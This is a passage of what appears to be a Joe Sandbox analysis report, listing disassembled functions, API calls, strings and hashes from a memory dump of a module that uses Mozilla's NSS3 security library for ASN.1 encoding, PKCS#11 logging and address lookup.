Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBCA0F4), ref: 6CAB40C2

Part of subcall function 6CAFF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAFF0C8
Part of subcall function 6CAFF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CAB409A

Part of subcall function 6CAFBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CAAE708,00000000,00000000,00000004,00000000), ref: 6CAFBE6A
Part of subcall function 6CAFBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAB04DC,?), ref: 6CAFBE7E
Part of subcall function 6CAFBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAFBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAB40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAB4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CAB411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CAB4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CAB4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CBCA1C8), ref: 6CAB417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CAB4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAB41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAB41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CAB41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAB41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CBCA1A8), ref: 6CAB422D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: fffd99ce7274e7bb4322aa9d561f2cb2e6811041132b6a29d1e022ee6a040c45
Instruction ID: 2e3fb42038433e605df1eae9106c47f3306dbb401866cf8504a4a0610ffe8327
Opcode Fuzzy Hash: fffd99ce7274e7bb4322aa9d561f2cb2e6811041132b6a29d1e022ee6a040c45
Instruction Fuzzy Hash: 4B51E8B5F003006BF7109A25ED41B6B76ECDF5024CF084519F969E6F82FB31E5889762

Function 6CAF8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8E9E
PORT_ArenaAlloc_Util.NSS3(6CC00B64,00000001,?,?,?,?,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAF8E01,00000000,6CAF9060,6CC00B64), ref: 6CAF8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAF8E01), ref: 6CAF8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC00B64,6CC00B64), ref: 6CAF8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAF8F3F

Part of subcall function 6CAFA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CAFA421,00000000,00000000,6CAF9826), ref: 6CAFA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAF904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAF8E76

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: d6b351a29b92e8ce5d195ef2185be0b4871275b873f0809a69ee3b917586fd33
Instruction ID: e97f99724f2b1d190812c43be282851d57ca874e7337cf81491c67741fceef40
Opcode Fuzzy Hash: d6b351a29b92e8ce5d195ef2185be0b4871275b873f0809a69ee3b917586fd33
Instruction Fuzzy Hash: 0E61A5B5D001459FDB10CF66CD40AAFB7B9FF85358F184128EC28A7710E732A956CBA0

Function 6CAA8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CAA8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CAA8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBD18D0,?), ref: 6CAA8F03
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA8F19
PL_FreeArenaPool.NSS3(?), ref: 6CAA8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAA8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAA8F65
PL_FinishArenaPool.NSS3(?), ref: 6CAA8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CAA8FFE
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA9012
PL_FreeArenaPool.NSS3(?), ref: 6CAA9024
PL_FinishArenaPool.NSS3(?), ref: 6CAA902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CAA903E

Strings

security, xrefs: 6CAA8EE7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 2800eeaac04691480e67a8ea548456b011861b79a30e06579ef9ddb32e7a3cc8
Instruction ID: aa18933a50a1e5cc3c077326d42c9731cddef9d219a3a82493c5603109c26799
Opcode Fuzzy Hash: 2800eeaac04691480e67a8ea548456b011861b79a30e06579ef9ddb32e7a3cc8
Instruction Fuzzy Hash: D35128B16082C0ABD7109A999C41BAF77E8AF8575CF48082EF85497B40E732D98AC753

Function 6CAD4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAD4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD4EC7

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAD4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAD4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAD4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAD4F68

Strings

pTemplate = 0x%p, xrefs: 6CAD4F4A
C_GetAttributeValue, xrefs: 6CAD4E7E
hSession = 0x%x, xrefs: 6CAD4EA2, 6CAD4EB2
ulCount = %d, xrefs: 6CAD4F63
hObject = 0x%x, xrefs: 6CAD4EF5, 6CAD4F05
(CK_INVALID_HANDLE), xrefs: 6CAD4EC0, 6CAD4F13

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: c272286c6bf575a4626ad51c3565c86e5c1c10c64cba95ff762df0d3a848be6e
Instruction ID: b7bc6b68490b92a0b99763161b61ea66188cae094d00770861c0a34f59f3b033
Opcode Fuzzy Hash: c272286c6bf575a4626ad51c3565c86e5c1c10c64cba95ff762df0d3a848be6e
Instruction Fuzzy Hash: 7E41F675701185ABDB00CF54ED48FAE77B5EB4671DF0B4028E508A7A12DB35AD8CCBA2

Function 6CAD4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAD4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD4D37

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAD4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAD4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAD4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAD4E20

Strings

pulSize = 0x%p, xrefs: 6CAD4DB7
hSession = 0x%x, xrefs: 6CAD4D12, 6CAD4D22
hObject = 0x%x, xrefs: 6CAD4D65, 6CAD4D75
*pulSize = 0x%x, xrefs: 6CAD4E1B
C_GetObjectSize, xrefs: 6CAD4CEE
(CK_INVALID_HANDLE), xrefs: 6CAD4D30, 6CAD4D83

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 90c8536c66fb8af53758a8bc595f195a182316c43c54463beedd5cb8b8c9baf6
Instruction ID: 9f4d9c397ecbffbd4c734236697637daeffd7e5eab60f9709d99c58350c436cc
Opcode Fuzzy Hash: 90c8536c66fb8af53758a8bc595f195a182316c43c54463beedd5cb8b8c9baf6
Instruction Fuzzy Hash: 9D41D675701284AFEB009F14DD98FAE37B5EB4231DF074028E548AB612DB35AD8CCB52

Function 6CAD7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CAD7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD7CF3

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAD7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAD7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAD7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CAD7D77

Strings

ulDataLen = %d, xrefs: 6CAD7D40
hSession = 0x%x, xrefs: 6CAD7CCE, 6CAD7CDE
pSignature = 0x%p, xrefs: 6CAD7D59
pData = 0x%p, xrefs: 6CAD7D25
C_Verify, xrefs: 6CAD7CB1
ulSignatureLen = %d, xrefs: 6CAD7D72
(CK_INVALID_HANDLE), xrefs: 6CAD7CEC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: d4ce905c0b54acaed8e020b9f9080269af34600e264167047598cf9f9a54aa6f
Instruction ID: af9235865ca77674b151991f73a1a6aa31d79452e7999fa56c2c6655e60a8c47
Opcode Fuzzy Hash: d4ce905c0b54acaed8e020b9f9080269af34600e264167047598cf9f9a54aa6f
Instruction Fuzzy Hash: 6131C575701185AFDB049F54DE48FBE37B1EB4231DF4A4028E448E7612DB31A888CBA2

Function 6CAD2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CAD2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD2F63

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CAD2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CAD2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CAD2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CAD2FE7

Strings

pNewPin = 0x%p, xrefs: 6CAD2FC9
pOldPin = 0x%p, xrefs: 6CAD2F95
ulNewLen = %d, xrefs: 6CAD2FE2
ulOldLen = %d, xrefs: 6CAD2FB0
hSession = 0x%x, xrefs: 6CAD2F3E, 6CAD2F4E
C_SetPIN, xrefs: 6CAD2F21
(CK_INVALID_HANDLE), xrefs: 6CAD2F5C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 6247ecb7bbe46491a2b4c9f97c1a30fee0dea61b8ef7606240876a7a1cbd358b
Instruction ID: 26df7dd6cf8a3112c8f4593ec15a9188219a01b0b2d049695e0d909254ecf30e
Opcode Fuzzy Hash: 6247ecb7bbe46491a2b4c9f97c1a30fee0dea61b8ef7606240876a7a1cbd358b
Instruction Fuzzy Hash: E531C579701185ABDB009F18DD48EAE77B1EB4A31DF0B4528E408A7612DB32ED98CB52

Function 6CB6CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB6CC7B), ref: 6CB6CD7A

Part of subcall function 6CB6CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CADC1A8,?), ref: 6CB6CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB6CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB6CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB6CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB6CD8E

Part of subcall function 6CA905C0: PR_EnterMonitor.NSS3 ref: 6CA905D1
Part of subcall function 6CA905C0: PR_ExitMonitor.NSS3 ref: 6CA905EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB6CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB6CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB6CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB6CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB6CE48

Strings

getnameinfo, xrefs: 6CB6CDB2, 6CB6CE23
getaddrinfo, xrefs: 6CB6CD88, 6CB6CDF9
ws2_32.dll, xrefs: 6CB6CD75
freeaddrinfo, xrefs: 6CB6CD9F, 6CB6CE10
wship6.dll, xrefs: 6CB6CDE3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 98507ecb6370e78cad9104e8ceb50f9ae5a8fa511b01c9b996b00aa3ba7e6846
Instruction ID: 77c5803067f15bd809dcb28f256fd8e44db4243879f39ab814c6b150dc953f0e
Opcode Fuzzy Hash: 98507ecb6370e78cad9104e8ceb50f9ae5a8fa511b01c9b996b00aa3ba7e6846
Instruction Fuzzy Hash: BE11D6AAF131B113DF01667AEC0199E39F9DB1215DF1A4539D805D2F00FB22E58883E3

Function 6CBB1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CBB13BC,?,?,?,6CBB1193), ref: 6CBB1C6B
PR_NewLock.NSS3(?,6CBB1193), ref: 6CBB1C7E

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

PR_NewCondVar.NSS3(00000000,?,6CBB1193), ref: 6CBB1C91

Part of subcall function 6CA8BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA921BC), ref: 6CA8BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CBB1193), ref: 6CBB1CA7

Part of subcall function 6CA8BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8BBEB
Part of subcall function 6CA8BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CA8BBFB
Part of subcall function 6CA8BB80: GetLastError.KERNEL32 ref: 6CA8BC03
Part of subcall function 6CA8BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CA8BC19
Part of subcall function 6CA8BB80: free.MOZGLUE(00000000), ref: 6CA8BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CBB1193), ref: 6CBB1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CBB1193), ref: 6CBB1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CBB1193), ref: 6CBB1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CBB1193), ref: 6CBB1D1A

Part of subcall function 6CB69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA91A48), ref: 6CB69BB3
Part of subcall function 6CB69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA91A48), ref: 6CB69BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CBB1193), ref: 6CBB1D3D

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CBB1193), ref: 6CBB1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CBB1193), ref: 6CBB1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CBB1193), ref: 6CBB1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CBB1193), ref: 6CBB1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CBB1193), ref: 6CBB1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CBB1193), ref: 6CBB1D93
PR_DestroyLock.NSS3(00000000,?,?,6CBB1193), ref: 6CBB1D9F
free.MOZGLUE(00000000,?,6CBB1193), ref: 6CBB1DA8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 614e4498281555d0bd54de110c5740ae584566f6afb019531142074dc222301d
Instruction ID: ea70ec01d6293932a063affa71bf9dbbe2bfb6ff993c0ec2a24b71f663113103
Opcode Fuzzy Hash: 614e4498281555d0bd54de110c5740ae584566f6afb019531142074dc222301d
Instruction Fuzzy Hash: FC31E5F1E017519BEB209F65AC01A6B76F4EF0164CB084538E84A97B51FF31E418CBA2

Function 6CB05CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CB05EC0,00000000,?,?), ref: 6CB05CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CB05CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB05CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB05D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CB05EC0,00000000,?,?), ref: 6CB05D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CB05D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB05D66
